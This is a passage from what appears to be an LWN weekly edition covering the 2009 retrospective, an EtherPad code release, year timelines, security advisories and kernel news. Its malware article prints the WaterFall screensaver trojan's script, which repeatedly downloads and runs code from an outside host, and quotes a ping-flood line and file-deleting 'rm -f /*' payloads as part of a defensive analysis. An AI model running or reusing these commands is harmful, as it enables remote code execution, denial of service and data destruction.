A 2009 retrospective

It's that time of year again: 2009 is coming to a close, so it is time for your editor to return to his ill-advised predictions made in January and see how things went. As usual, it's a mixed bag; some predictions went better than others. As they say, even a broken clock is right twice a day - at least for those of us old enough to remember analog clocks - so your editor could hardly be expected to get everything wrong. But he tried.

The first prediction was that free software would emerge from the economic mess stronger than ever. Whether anybody has truly emerged from this crisis is a bit of a controversial subject; it may be a while before we really know. But it is already clear that this prediction hit the mark. Companies dealing in free software are generally doing well, and developers are having a much easier time finding jobs than many others. The dot-com crash was hard on our community; this time around has not been a whole lot of fun, but we're coming through it in good form.

A related prediction was that open embedded systems would grow in appeal, and that Android, in particular, would do well. Android's success seems no longer to be in doubt; it is showing up on a wide variety of devices. Truly open systems are still rather more scarce than one might like, though handsets like Nokia's N900 are a nice step in the right direction. What we are seeing, in any case, is that even closed devices are quickly opened up by their customers; sometimes it seems like the industry isn't even trying all that hard to stop device liberation anymore.

Your editor thought that there would be fewer GPL enforcement actions this year. Without taking the time to do a proper count, your editor thinks that happened, though the new round of BusyBox suits announced in mid-September made that conclusion less clear than it would have otherwise been. But, as seen by Bradley Kuhn's successful project to find a new GPL violation every day, respect for our licensing remains far from universal.

The fear that a formerly friendly company might go to the dark side and follow the SCO path hasn't been realized - so far. On the other hand, your editor didn't even bother to predict that SCO itself would be gone by this time; one wonders if that story will ever really come to an end.

Rather cynically, your editor said that we still would not know about the 2008 Fedora break-in. Apologies are due for that one: the Fedora project posted its report at the end of March. There are still unanswered questions, naturally, but this report is as complete as could have been expected.

On the prediction that the 2.6.33 kernel would be released: does 2.6.33-rc1 count? Probably not. At this point, the kernel seems to have settled pretty firmly into a three-month development cycle; that's unlikely to change in the near future. On the other hand, the prediction that the numbering scheme would not be changed proved to be correct.

"The realtime patch set will be mostly merged by the end of the year." Oh well.

"3D graphics will be a solved problem." That was a bit on the optimistic side, but we are getting much closer. The big problem in the future is not going to be 3D in general, but graphics chipsets used in mobile platforms in particular.

On the other development-oriented subjects: the "make or break year" for Perl looks mostly like another year of stasis for Perl; the Parrot 1.0.0 release does not appear to have brought a lot of new energy to this project, but neither is Perl fading away. KDE 4 has indeed stabilized, and GNOME 3 is indeed coming into focus. People are still debating distributed version control systems, and more projects are making the switch. On the other hand, Go-oo notwithstanding, it's hard to say that OpenOffice.org has truly been forked.

There is one other important thing to do when reviewing predictions: evaluate what was missed altogether. Predictions which are always right, but which fail to anticipate the truly important events of the year are of limited utility. So, with that in mind, one might well ask: what did your clueless editor miss entirely back in January?

Arguably the item at the top of the list would have to be the acquisition of Sun Microsystems, which had been in trouble for some time already. Since Sun claims to be the world's largest contributor to free software projects, any change of control must be an important event. In this case, the proposed acquisition of Sun by Oracle has put an important free software project (MySQL) into play as various parties try to either use it to affect regulatory acceptance of the acquisition or, instead, use the regulatory process to gain some degree of control over a post-acquisition MySQL. It is not a pretty picture, but it does demonstrate the sort of importance that free software projects can attain in the wider world.

While your editor predicted success for Android, the announcement of ChromeOS came as a bit of a surprise, despite long-lived rumors that Google was going to get into the Linux distribution business.

Your editor certainly wishes he had gone on record with a prediction that Microsoft would become a contributor to the Linux kernel. Such a prediction would have certainly drawn a number of skeptical comments; ah, what joy it would have been to post "I told you so" responses to those. Alas, your editor was not that on top of things. But, then, it appears (again) that Microsoft's time as a kernel contributor might be short.

Finally, something that really should have been predicted was the increasing focus on identifying and discouraging behavior which discourages people from joining (or remaining part of) our community. We have seen a number of discussions resulting from ill-considered comments by high-profile people, the imposition of codes of conduct, and more. There can be no doubt that the atmosphere in many of our public spaces is seen as hostile by many talented people we would like to have as contributors. There also can be no doubt that we will drive away contributors with excessive criticism of community members whose comments are seen as unwelcome or heavy-handed conduct enforcement schemes. Finding a balance which works for the community as a whole is going to be a long-term project.

With that, your editor wishes the best of holidays and year-end festivities for all LWN readers. LWN traditionally does not publish an edition in the last week of the year - there is usually not much happening anyway - so we will not be back until January 7, when we will resume our normal publication schedule and your editor will return with another set of doomed predictions. Many thanks to all of you for supporting LWN through another great year.

Comments (3 posted)

EtherPad source code is free, now what?

Google's newly-acquired startup AppJet released the source code to its popular EtherPad web editor recently, making good on a promise to EtherPad's users who were previously faced with a service shutdown following the acquisition. The source is under the Apache 2.0 license, which is GPL-compatible, making the code potentially useful to a wide array of free software projects. The release has the community debating the impact on similar and related software, and revisiting the contentious question of how free software in general can and should transition to the web-hosted environment.

Pad timing

EtherPad is a collaborative in-browser text editor. AppJet launched the product in the fall of 2008 with both commercial and free (limited to eight concurrent editors) versions, and it quickly gained popularity in the first half of 2009. When Google unveiled its own real-time collaboration system Wave in June, comparisons were inevitable. Many users found EtherPad's interface simpler to use and easier to understand, however, so it was no great surprise when Google announced that it had purchased AppJet and EtherPad on December 4. The AppJet engineers would work on Wave, ostensibly making it as easy to use as EtherPad itself.

What did come as a surprise to most EtherPad users was AppJet's announcement that due to the acquisition, it would be unceremoniously switching off the service for all users on April 1, 2010 — and to reinforce that the move was no April Fools' joke, no new documents could be created, effective immediately. There would also be no refunds to customers who had already paid for the "professional" service. The subsequent backlash from users and fans was forceful enough that, less than 24 hours later, AppJet CEO Aaron Iba posted a personal apology and announced a new "transition plan" — document creation would be re-enabled, EtherPad itself and the underlying AppJet Web Framework would both become open source projects, and AppJet would try to get Google Wave invites for EtherPad users.

Source at last

The source code release came on December 17, accompanied by the proclamation that AppJet's goal "is to let the world run their own etherpad servers so that the functionality can live on even after we shut down etherpad.com". The shutdown is still scheduled to take place on March 31, 2010, and new document creation may be again switched off sooner than that, if traffic is seen to "taper off". The source is hosted at Google Code, and includes instructions for compilation on Mac OS X and Linux. The actual code implements an EtherPad server running as a stand-alone HTTP server on port 9000. The server is written in Java and Scala, and requires MySQL. The client-side editor is implemented in JavaScript.

Some pieces of the service as it was provided at etherpad.com are not present in the open source release, however, notably file upload, document import/export, the email invitation system, and the framework for managing "professional" accounts. The file upload capability was provided by a proprietary servlet that AppJet could not include with the release; the other capabilities appear to have been left out for the sake of convenience. Perhaps those missing pieces, when taken with the news that the AppJet team still intended to shut down the service and not pursue further work on the code, contributed to those in the open source sphere describing the move as "dumping code over the wall" — a pejorative typically indicating the community's belief that the company has no interest in what happens next.

Source is still source, though

Nevertheless, the Etherpad release attracted many eyes and many comments from open source circles. Two topics dominated the conversation: what impact the EtherPad code would have on other projects, and how free software could protect users from suffering the inconveniences of a similar web service shutdown.

As it currently stands, the open source EtherPad code seems unlikely to develop as a viable project on its own. The Google Code site refers to the project as an "exhibition" and says that "we will try to support you in our spare time until we begin working full-time on Google Wave." There is an open mailing list, however, and several developers with non-Google IDs have been granted the Owner role. At least one independent public server has already been launched, PiratePad.net.

The other projects most likely to be affected by the availability of EtherPad source code are Google Wave (naturally) and other real-time collaborative editing tools like Gobby, AbiCollab (which we recently covered), and Bespin (also recently covered). Although Wave's document-sharing and editing capabilities are less mature than EtherPad's, it does have one notable advantage: federation is built in to the protocol, allowing editing sessions to be shared between multiple Wave servers, a feature EtherPad never had.

As for EtherPad's "threat" to other editors, the prevailing attitude is that in-browser editing trumps any desktop client editor because of the sheer ease-of-deployment, a feature that is critical to collaboration. On the other hand, Gobby's conflict-resolution algorithms are highly-regarded and well-documented (unlike EtherPad's), and the editor features niceties like syntax highlighting not found in the web editor. Gobby maintainer Armin Burgmeier commented on one blog discussion that the best way forward might be adding Gobby's concurrency control (via Gobby's libinfinity library) to an Etherpad-like web editor.

Branching out from pure editing alone, Red Hat's Máirín Duffy suggested that EtherPad's slick editing capabilities would be a good addition to some other web-based tools, MediaWiki in particular. MediaWiki is designed to encourage collaborative writing, after all, but it currently relies on HTML's "textarea" element and its own peculiar markup as an editing interface.

Web versus Desktop; collaboration versus solo work

However the EtherPad application evolves, the fiasco surrounding the shutdown announcement and subsequent code dump again raises the weighty and still unsolved problem of how free software ideals and practices should migrate from the desktop paradigm to the web service paradigm.

In her blog, the GNOME Foundation's Stormy Peters wrote that hosting free and open source web applications is fundamentally hard — open source web applications that thrive have always offered end users a hosted service (such as Wordpress.com or SugarCRM); those that have not tend to fail. There are varying business models, including advertising-supported free services, paid professional alternatives, and more, but unlike hosting a download site for desktop applications, there are ongoing support and labor costs that must be borne somehow. As long as the shepherding organization is a company that remains in business and actively involved, a hosted service is reasonably safe for users to rely on. The trouble arises when an acquisition, a change of business plan, economic woes, or other real-life events threaten the business itself. Consequently, Peters asked: Should software projects start non-profit foundations to provide web services?

Ubuntu's Jorge Castro opined in his own blog piece that existing free software groups such as GNOME and KDE ought to offer web services like EtherPad, just as they currently host mailing lists, revision control systems, IRC channels, and other collaboration tools. According to the post, Castro recently undertook a self-imposed experiment to use only web-based applications for a set period of time, just to see how the experience compared to desktop applications. He liked it so much, he has no plans to go back.

It is interesting to note, however, that the services Castro cites as examples are all communication tools: email, instant messaging, microblogging, and real-time note-taking at conferences. There are other web application use cases that do not inherently involve sharing data with other remote users, and as a result, might not inherently benefit from running solely on the web. Financial records, for example, might be convenient to access from multiple locations, but a hypothetical "Gnucash Online" service would not need to share information between users concurrently. Media players, to take an unrelated issue, are hamstrung by copyright holders' rights when online storage comes into play. Image, sound, and video editing, on the other hand, have low network latency requirements that make for a poor user experience under anything but the best network conditions — even if sharing the final product on the web is something the user intends to do.

Castro suggests that the myriad of free software groups provide hosting of web services for participating developers, not for the public at large, so it might not offer the protection-from-corporate-disappearance that Peters asked about. But for a collaborative editor like EtherPad, it might be just the thing.

Code drops are a gift to the open source software world and, as such, they are always welcome events, but rarely are they game-changers. EtherPad was a wildly popular product in its lifetime, but judging by the reaction to recent events, its popularity may have been more due to its implementation as a free web-based service than to ingenuity of the code itself. Thus, the bigger question going forward is one that free software has been struggling to answer for the past several years and will likely continue to struggle with for years to come: how can open source not just compete with closed-but-freely-accessible web services, but beat them on the critical question of protecting users from the catastrophe of being deserted by a service that disappears.

Comments (14 posted)

The 2009 Linux and free software timeline - Q3

Here is LWN's twelfth annual timeline of significant events in the Linux and free software world for the year.

2009 offered few surprises to those that have been following Linux and free software for as long as we have. As expected, there were new releases of many of the tools and underlying infrastructure that we use on a daily basis. There were also lawsuits over software patents, arguments over licensing, and various security flaws found and fixed. Distributions were packaged up and released, more phones and other devices with Linux and free software were sold, and so forth. All part of the march to "world domination". We look forward to 2010—and beyond.

This year we will be breaking things up into quarters, and this is our report on July-September 2009. We got a bit behind, so the timeline for the last quarter directly follows this one.

• First quarter timeline (Jan-Mar 2009)
• Second quarter timeline (Apr-Jun 2009)

---

This is version 0.8 of the 2009 timeline. There are almost certainly some errors or omissions; if you find any, please send them to timeline@lwn.net.

LWN subscribers have paid for the development of this timeline, along with previous timelines and the weekly editions. If you like what you see here, or elsewhere on the site, please consider subscribing to LWN.

For those with a nostalgic bent, our timeline index page has links to the previous eleven timelines and some other retrospective articles going all the way back to 1998.

July

PostgreSQL 8.4 is released. (announcement)

Google announces Chrome OS, a Linux-based, web-centric OS for ARM and x86. (announcement, LWN coverage)

VLC media player 1.0 is released. (announcement, LWN review)

Mercurial releases version 1.3 of the Python-based distributed version control system. (announcement)

The Gran Canaria Desktop Summit is held in the Canary Islands—it is the first time that GNOME and KDE co-located their annual conferences. (KDE.News coverage)

Maemo announces a switch from GTK/Hildon to Qt, something that doesn't come as a complete surprise after Nokia acquired Qt provider Trolltech. (LWN coverage)

The International Free and Open Source Software Law Review is launched. (announcement)

A local user privilege escalation vulnerability in the kernel, which (ab)uses NULL pointer dereferences is announced with a proof-of-concept exploit. (LWN coverage part 1 and part 2)

The Nmap security scanner releases version 5.0. (announcement)

Canonical, the company behind Ubuntu, released its Launchpad source code under a free software license. (announcement)

Django 1.1 is released; Django is a Python-based web framework. (announcement)

Amazon fails in its irony detection and deletes George Orwell's 1984 (and Animal Farm) from users' Kindle e-book readers. (New York Times coverage)

Emacs 23.1 is released. (announcement)

Botnet simulation boots one million virtualized Linux kernels at Sandia National Laboratories. (LinuxInsider article)

August

KDE 4.3 is released. (announcement)

Novell devotes ten engineers to the openSUSE project, rather than have them work as time is available. (announcement)

openSUSE reduces maintenance period for new distribution releases to 18 months, down from 24 months. (announcement)

An injunction against the OpenBTS cellular base station project is lifted, allowing discussion of the project by certain members once again. (announcement, LWN injunction article)

Ubuntu removes the controversial "multisearch" feature from Karmic Koala (9.10), because of privacy and usability concerns. (LWN coverage)

Arch Linux 2009.08 is released. (announcement)

KMyMoney 1.0 is released, after two years of development on the personal finance management application. (announcement, LWN review)

Yet another kernel NULL pointer vulnerability is reported, in what is becoming a steady stream of such reports. (linux-kernel posting, more LWN coverage)

Desktop publisher Scribus releases version 1.3.5 (release notes, LWN review)

O'Reilly publishes The Art of Community by Ubuntu community manager Jono Bacon. (announcement)

The Linux Foundation updates its kernel development statistics white paper, authored by Jonathan Corbet, Greg Kroah-Hartman, and Amanda McPherson. (announcement, white paper [PDF])

An appeals court rules that SCO's claims about Unix copyrights should go to trial, overturning the summary judgment that Novell "won" in 2007 and breathing new life into the SCO litigation circus. (LWN coverage)

openSUSE defaults desktop choice to KDE, though GNOME and others still remain as supported choices. (announcement, LWN coverage)

Unix celebrates its 40th birthday. (BBC article)

Slackware 13.0 is released, with support for 64-bit processors. (announcement, LWN review)

September

Red Hat Enterprise Linux 5.4 is released, with x86_64 KVM support, FUSE, the XFS filesystem, and more. (release notes)

Linux 2.6.31 is released with performance counter support, kernel mode setting for ATI Radeon chipsets, kmemleak, USB 3.0 support, and more. (announcement, KernelNewbies coverage)

Debian announces a switch to Upstart for boot-time initialization. (announcement)

Microsoft forms the CodePlex foundation to foster cooperation between software companies and open source communities. (announcement, LWN coverage)

Alan Turing gets a long-belated apology from the UK government for his treatment for being gay. (Prime Minister Gordon Brown's apology)

The first-ever LinuxCon is held in Portland, Oregon co-located with the second-ever Linux Plumbers Conference. (LinuxCon event site)

Puppy Linux 4.3 is released. (announcement, LWN review)

LWN finally makes T-shirts and other branded items available for sale. (LWN.net CafePress store)

GNOME 2.28 is released. (announcement)

libtheora 1.1 "Thusnelda" is released bringing faster decoding and better quality to the Theora video codec. (announcement)

Comments (none posted)

The 2009 Linux and free software timeline - Q4

October

X.org releases xorg-server 1.7 (announcement, LWN coverage)

Gentoo celebrates its tenth birthday by releasing a Gentoo Linux 10.0 LiveDVD. (announcement)

OpenSSH also celebrates its tenth anniversary with the release of OpenSSH 5.3. (announcement)

TurboGears releases version 1.1 of the Python-based web framework. (announcement)

The Real Time Linux Workshop is held in Dresden, Germany. (LWN coverage)

Amarok 2.2 "Sunjammer" is released. (KDE.News report)

Nokia releases the N900 based on Maemo 5 and quite hackable. (LWN report from the Maemo Summit)

GDB 7.0 is released with reverse debugging, Python scripting, and more. (announcement)

CentOS 5.4 is released. (announcement)

OpenBSD 4.6 is released. (announcement)

Darl McBride is terminated as SCO CEO and as the longtime "face" of SCO's litigation strategy. (Groklaw coverage)

The Linux Kernel Summit is held in Asia, specifically Tokyo, for the first time. It is co-located with the Japan Linux Symposium. (LWN Kernel Summit coverage)

X11R7.5 is released with multi-pointer X, RANDR enhancements, and more. (announcement, Peter Hutterer's disambiguation)

SeaMonkey 2.0 is released—the heir to Netscape Communicator as an all-in-one internet suite. (announcement)

Version 2.6 of the LLVM compiler is released with the first release of the Clang C/Objective-C compiler, better code generation, and more. (announcement)

Word processor AbiWord releases version 2.8 with collaboration support, "true" SVG support, and more. (announcement, LWN review)

Ubuntu "Karmic Koala" (9.10) is released. (announcement, LWN review)

November

Mandriva 2010.0 is released. (release notes, LWN review)

One Laptop Per Child cancels the XO-2, opting instead for an ARM-based XO-1.75 in the near term and an XO-3 in 2012. (OLPC News report)

Python declares a moratorium on syntax and grammar changes through the 2.7 and 3.2 releases and possibly longer. (LWN coverage)

GNOME plans for a 3.0 release in September 2010 and 2.30 in March. (announcement)

Google announces a new systems programming language: Go—released under a BSD license. (web site, language tutorial)

Cavium Networks acquires MontaVista Software one of the first commercial embedded Linux vendors. (press release)

A fundamental flaw is found in the Transport Layer Security (TLS) protocol, which allows man-in-the-middle plaintext injection attacks. (LWN coverage)

openSUSE 11.2 is released with KDE 4.3, GNOME 2.28, OpenOffice.org 3.1, and more. (announcement, LWN review)

Fedora 12 is released with rpmdelta support, virtualization improvements, and more. (announcement, LWN conversation with Paul Frields)

Knoppix 6.2 is released with kernel 2.6.31.6, X.org 7.4, and more. (The H article)

Google releases the Chromium OS source under a BSD license. (announcement)

Fedora 12 initially ships with a security hole by default allowing unprivileged users to install signed packages from signed repositories without requiring a password. (LWN coverage)

KDE repositions its "brand" by separating the KDE software into different groups: KDE Plasma Desktop, KDE Platform, KDE Applications, and KDE Software Compilation. (KDE.News report)

Vector drawing program Inkscape releases version 0.47, which has been massively overhauled from previous versions. (release notes)

FreeBSD 8.0 is released. (announcement, LWN review)

Linux Mint 8 "Helena" is released. (announcement)

December

Qt 4.6 is released with multi-touch and gesture support, new graphical capabilities, more platforms supported, and more. (announcement, LWN coverage)

Linux 2.6.32 is released with devtmpfs, HWPOISON, more perf events features, kernel shared memory, and more. (announcement, KernelNewbies coverage)

Twisted 9.0.0 is released; Twisted is a Python-based event-driven networking engine. (announcement, LWN review)

OpenInkpot releases version 0.2 of the free firmware for e-book readers. (announcement, LWN coverage)

Email client Thunderbird 3.0 is released (release notes)

Sugar on a Stick v2 "Blueberry" is released. (announcement)

Various efforts are made to get MySQL out from under the control of Oracle, either by license or ownership change. (LWN coverage)

The Software Freedom Law Center sues Best Buy, Samsung, Westinghouse, and others for GPL violations on behalf of the BusyBox project (announcement)

Malware disguised as a screensaver is made available at GNOME-Look.org, which serves as a reminder to be careful where you get your bits. (LWN coverage)

Fedora 10 reaches end of life. (announcement)

digiKam 1.0 is released. (announcement, LWN review)

Moonlight 2 is released. (announcement)

Mark Shuttleworth announces that he is stepping down as Canonical CEO effective March 2010, in favor of Jane Silber; Shuttleworth will focus on design and quality for Canonical. (announcement)

To be continued ...

Comments (none posted)

Linux malware: an incident and some solutions

Linux users like to think that they are not vulnerable to all the evil that is out there on the internet, but a recent incident showed that they too should be careful. A screen saver from the popular web site GNOME-Look.org turned out to be malware that made the user's computer take part in a distributed denial-of-service attack.

GNOME-Look.org is a website where users can download artwork for the GNOME Desktop, such as wallpapers, GTK themes, icons, splash screens, and screen savers. Its motto is "Eyecandy for your GNOME-Desktop". One week ago, an Ubuntu user "conorsulli" that had installed a screen saver called "WaterFall" noticed something strange and posted his discovery in the Ubuntu forums. The .deb file he had downloaded didn't install a screen saver but instead some weird files.

First, it installed a script gnome.sh into /etc/profile.d, meaning that the script gets executed every time someone logs in (because /etc/profile executes all scripts it finds in /etc/profile.d). This script then runs another installed script, /usr/bin/Auto.bash, which downloads some files from a free web hosting site at T35 Hosting and installs them locally: /usr/bin/run.bash and /usr/bin/index.php. The whole Auto.bash script is:

    while :
    do
	rm /usr/bin/run.bash
	cd /usr/bin/
	wget http://05748.t35.com/Bots/index.php
	wget http://05748.t35.com/Bots/run.bash
	sleep 4
	rm index.php
	chmod 755 run.bash
	command -p /usr/bin/run.bash
    done

So, Auto.bash downloads index.php (which it strangely removes before doing anything with it) and run.bash, after which it executes the latter. Ultimately, the downloaded script run.bash pings packets of a large size (around 64 kB) to a server, presumably to mount a distributed denial-of-service attack:

    ping -s 65507 www.mmowned.com

The victim, MMOwned, seems to be a web site dedicated to exploits, hacks, bots, and guides to the massively multiplayer online game World of Warcraft. However, as the script run.bash gets downloaded each time the user logs in, it could be replaced by other, much worse, assignments. Note that the script Auto.bash uses an infinite loop. Combined with the sleep command, this effectively downloads and executes a new run.bash every few seconds, for as long as the user is logged in. This is not very stealthy, as watching for suspicious network connections with netstat or suspicious processes with top or ps will likely spot the problem.

Dangerous payloads

When Ubuntu users visited the URI where the scripts were hosted to investigate the case, the culprit noticed and explained his quest:

And indeed, at one time the run.bash script contained sudo rm -f /*, which removes all files (luckily not recursively, because the command lacks the r flag) in the root directory. To prove his point, the bad guy changed the payload a few times, for example to:

    rm -f /*.*
    echo "You see this? It's changed, before it was set to ping?"

Ultimately, conorsulli's discovery led the administrators of GNOME-Look.org to remove the malicious screen saver from their web site. The forum thread then listed instructions to remove the malware, first purge the deb file with:

    apt-get --purge remove app5552

then remove the downloaded files. However, because the run.bash script is downloaded from a server every time the user logs in, no one can exclude the possibility that it did something much more nasty and has hidden a backdoor. A complete reinstall of Ubuntu is the only safe solution here. But the bad guy didn't stop and tried to masquerade the same attack in the "Ninja Black" theme.

There are still some gaps in our understanding about what the malware did exactly. Because the .deb file can't be inspected anymore, it's hard to fill in those gaps. There appear to be some problems with the script: for example Auto.bash runs as a regular user and thus has no write permissions to /usr/bin (unless that is somehow changed as part of the installation script). So run.bash couldn't be downloaded and would only be executed as it was installed from the .deb. The whole construction looks like it might have been written by a script kiddie, but it's scary to think about the consequences of a competent programmer writing such malware.

In ... we trust

Of course it's not hard to come up with the lesson from of all this. One of the Ubuntu users summarized it neatly:

Examining the contents of a deb file is actually simple:

    dpkg --contents foo.deb

The offline package installer Gdebi even shows the included files in a package before it is installed. Eventually, the discussion moved into a new thread, "Social engineering (trojan) via gnome-look.org", discussing the problem of Linux malware from a general point of view.

Software in the official repositories of Linux distributions are more or less trustworthy because most distributions have a policy that requires that the software be tested. So package managers and the repositories they use are a trusted source. This is one of the reasons why malware isn't as common on Linux systems as on Windows, where the user has to install lots of third-party software from various sources. The problem of course is: if users trust arbitrary code, then they are vulnerable to all sorts of security risks. When installing something from outside an official repository, the user has to do the testing step himself. Needless to say, many users won't do that. They just want to run the newest screen savers, themes, and other software to spice up their desktop.

However, there is a genuine need for more software than the official repositories have. Ubuntu has the PPAs (Personal Package Archives) for this purpose, but then the user has to trust the PPA owner. Although there are some requirements for setting up a PPA, such as signing the Ubuntu code of conduct, apparently there are no formal requirements or reviews, so in principle anyone can set up a malicious PPA.

So maybe it's time to think about a more general solution, e.g. with a GPG-based "web of trust". This can also be implemented in the form of "trusted PPAs". This way the owner of a PPA can prove their identity, and users can then download only packages from someone they trust (or someone trusted by someone they trust). Incidentally, the roadmap of Ubuntu Software Center shows some plans in this domain for Ubuntu 10.10: "Establish and convey a trust level for software in PPAs, and let you easily add PPAs within the Center.", although it doesn't mention how that trust level would be established. But even when this is implemented, one must not forget that trust can be misguided. Apparently, people trusted GNOME-Look.org blindly.

Mandatory version control

Another proposal came from Amarok developer Mark Kretschmann, who has been thinking about possible solutions to malware. He doesn't find a review process practical:

What he proposes as a first barrier is mandatory version control for all third-party KDE components, such as Amarok plugins, Plasma applets, and so on:

Requiring that packages come out of project-run VCS doesn't solve all the problems, but it could help. However, it does require that the VCS server is adequately secured, as Joey Hess pointed out: "It's easy for anyone with shell access to the svn server to go back and change someone else's past commit, inserting their malware at that point without anything pointing to them as the perpetrator."

The year of the Linux desktop?

Some people have jokingly said that this malware incident shows that we have finally reached the "year of the Linux desktop". There is some truth in that, though. Linux, and especially Ubuntu, is attracting more and more new users. However, many of these users have learned bad habits in the Windows world, such as downloading eye candy from arbitrary sources. An incident like the WaterFall malware can only be avoided when users are trained not to trust third-party software blindly. We also need more technical measures: mandatory version control might be a first step, but some kind web of trust for software could be helpful too. The latter would make trust an explicit feature in package managers, which may make users think about how they trust the source before they install a package.

Comments (23 posted)

acpid: information disclosure

Package(s):	acpid	CVE #(s):	CVE-2009-4235
Created:	December 22, 2009	Updated:	December 28, 2009
Description:	The acpid daemon on Debian's "etch" distribution created an overly readable log file, potentially disclosing sensitive information.
Alerts:	Mandriva MDVSA-2009:343 acpid 2009-12-26 Mandriva MDVSA-2009:342 acpid 2009-12-26 Debian DSA-1960-1 acpid 2009-12-19

Comments (none posted)

condor: privilege escalation

Package(s):	condor	CVE #(s):	CVE-2009-4133
Created:	December 22, 2009	Updated:	January 7, 2010
Description:	Condor allows authorized users to submit jobs under other users' accounts.
Alerts:	Fedora FEDORA-2010-0227 condor 2010-01-07 Red Hat RHSA-2009:1689-01 condor 2009-12-21 Red Hat RHSA-2009:1688-01 condor 2009-12-21

Comments (none posted)

coreutils: symlink attacks

Package(s):	coreutils	CVE #(s):	CVE-2009-4135
Created:	December 18, 2009	Updated:	January 15, 2015
Description:	From the Red Hat bugzilla: The "distcheck" Makefile rule in coreutils 5.2.1 through to 8.1 did use unsafe (predictable) temporary directory location for performing own tasks. This might allow local attacker to conduct symlink attacks under certain circumstances.
Alerts:	Ubuntu USN-2473-1 coreutils 2015-01-14 Mandriva MDVSA-2010:024 coreutils 2010-01-23 Fedora FEDORA-2009-13216 coreutils 2009-12-16 Fedora FEDORA-2009-13181 coreutils 2009-12-16

Comments (none posted)

drupal: multiple cross-site scripting vulnerabilities

Package(s):	drupal	CVE #(s):
Created:	December 18, 2009	Updated:	December 23, 2009
Description:	Multiple cross-site scripting vulnerabilities were discovered in Drupal.
Alerts:	Fedora FEDORA-2009-13364 drupal 2009-12-18 Fedora FEDORA-2009-13291 drupal 2009-12-18

Comments (none posted)

ganeti: command execution

Package(s):	ganeti	CVE #(s):	CVE-2009-4261
Created:	December 22, 2009	Updated:	December 23, 2009
Description:	The ganeti cluster manager fails to validate the path of scripts passed to some commands, allowing local or remote users to execute arbitrary commands.
Alerts:	Debian DSA-1959-1 ganeti 2009-12-19

Comments (none posted)

gtk2: multiple crashes

Package(s):	gtk2	CVE #(s):
Created:	December 18, 2009	Updated:	December 23, 2009
Description:	From the Red Hat bugzilla - abrt detected a crash.: Bug #540308, Bug #538156, Bug #544590
Alerts:	Fedora FEDORA-2009-12950 gtk2 2009-12-10

Comments (none posted)

rails: multiple vulnerabilities

Package(s):	rails	CVE #(s):	CVE-2007-6077 CVE-2008-7248 CVE-2009-2422
Created:	December 21, 2009	Updated:	March 15, 2010
Description:	From the Gentoo advisory: sameer reported that lib/action_controller/cgi_process.rb removes the :cookie_only attribute from the default session options (CVE-2007-6077), due to an incomplete fix for CVE-2007-5380 (GLSA 200711-17). Steve from Coderrr reported that the CRSF protection in protect_from_forgery() does not parse the text/plain MIME format (CVE-2008-7248). Nate reported a documentation error that leads to the assumption that a block returning nil passed to authenticate_or_request_with_http_digest() would deny access to the requested resource (CVE-2009-2422).
Alerts:	SuSE SUSE-SR:2010:006 2010-03-15 Gentoo 200912-02 rails 2009-12-20 SuSE SUSE-SR:2010:005 fetchmail, krb5, rubygem-actionpack-2_1, libexpat0, unbound, apache2-mod_php5/php5 2010-02-23

Comments (none posted)

Kernel release status

The current development kernel is 2.6.33-rc1, released by Linus on December 17. The 2.6.33 merge window is now closed; significant patches merged since last week's summary include a direct rendering driver for the VMware virtual GPU, along with drivers for Maxim 8660/8661 voltage regulators, Marvell 88PM8607 PMIC devices, STMicroeletronics LIS3LV02Dx accelerometers, LaCie Network Space v2 NAS boards, DesignWare SPI controller core devices, Samsung S3C64XX series type SPI controllers, MDIO buses on Octeon SOCs, Octeon Management port Ethernet controllers, Cisco PowerTV platforms, and HP Smart Array SCSI controllers.

There have been a small number of patches merged since the 2.6.33-rc1 release; along with fixes, these include the kfifo API rework patch set.

Stable updates: The 2.6.27.42, 2.6.31.9, and 2.6.32.2 stable kernel updates were released on December 18. Each contains another long list of important fixes all across the kernel tree.

Comments (none posted)

Quotes of the week

-- Alan Cox

-- H. Peter Anvin

-- Linus Torvalds

Comments (11 posted)

pr_unwanted()?

One of a kernel developer's best friends is the printk() function, which works much like printf() in user-space programs. There are some differences, though, including the existence of various levels of logging. The convention used is a little funny, with the logging level being a short string prepended to the format string. So a warning might be printed this way:

    printk(KERN_WARNING "Core meltdown imminent\n");

This form is not universally loved, though; some call it verbose, making it hard to make lines fit within 80 columns, and the severity string is easy to forget. As an alternative, the 2.6.28-rc5 kernel saw the addition of a set of pr_*() macros, written by Martin Schwidefsky, which are designed to make life a little easier. So, for example, the above warning could be rewritten as:

    pr_warning("Software patents detected\n");

These macros sat in relative obscurity for a few development cycles until Joe Perches decided to switch a number of printk() statements in the core kernel. That led to an outburst from Peter Zijlstra and the eventual reverting of the change. Peter says:

Chances are, there won't be any more such conversions near that part of the kernel. But the pr_*() macros won't be going away either. Their real purpose, perhaps, was best expressed by Arjan van de Ven: "pr_ is really just for 'I am a driver and want a single line message out in a standardized format'. Nothing wrong with that."

Comments (4 posted)

Turbulence for concurrency-managed workqueues

Tejun Heo's concurrency-managed workqueues patch was discussed here in October. This work has been progressing, with some of the associated clean-up patches being merged for 2.6.33; the main part of the work would appear to be on a path for merging in 2.6.34. Or maybe not: some developers are starting to express some qualms.

The loudest complaints come from Peter Zijlstra, who would rather see effort go into converting workqueue users to using threaded interrupt handlers instead. To developers like Peter, the new workqueues look like a bunch of new complexity which could create new problems (management of CPU-intensive workqueue tasks, for example) while failing to address other issues, including the locking problems which can plague workqueue users now.

Tejun has responded with a description of some of the problems being solved by the redone workqueues, concluding:

That may actually be where some of the trouble lies: the patch set, in its current state, does not really demonstrate this shift in complexity. So Ingo Molnar has requested some example conversions that show the advantages of concurrency-managed workqueues:

Tejun has indicated that he will work to provide this demonstration. Should the next version of the patch set prove convincing on this front, the new workqueues might still be on-track for 2.6.34.

Comments (none posted)

Two that didn't make it

The 2.6.33 merge window has run its course, and a great deal of code has been merged into the mainline. The merge window always seems like a bit of a game of musical chairs, though: when the music stops, at least one project tends to be left conspicuously standing. This time around, two projects were left without a chair in the mainline despite having sent in pull requests: the Ceph distributed filesystem and the AlacrityVM hypervisor code.

Often, originators of ignored pull requests are left in silence to wonder why those requests were not acted upon. This time around, Linus explained the missing pulls: there didn't seem to be enough interest in those features. As he put it:

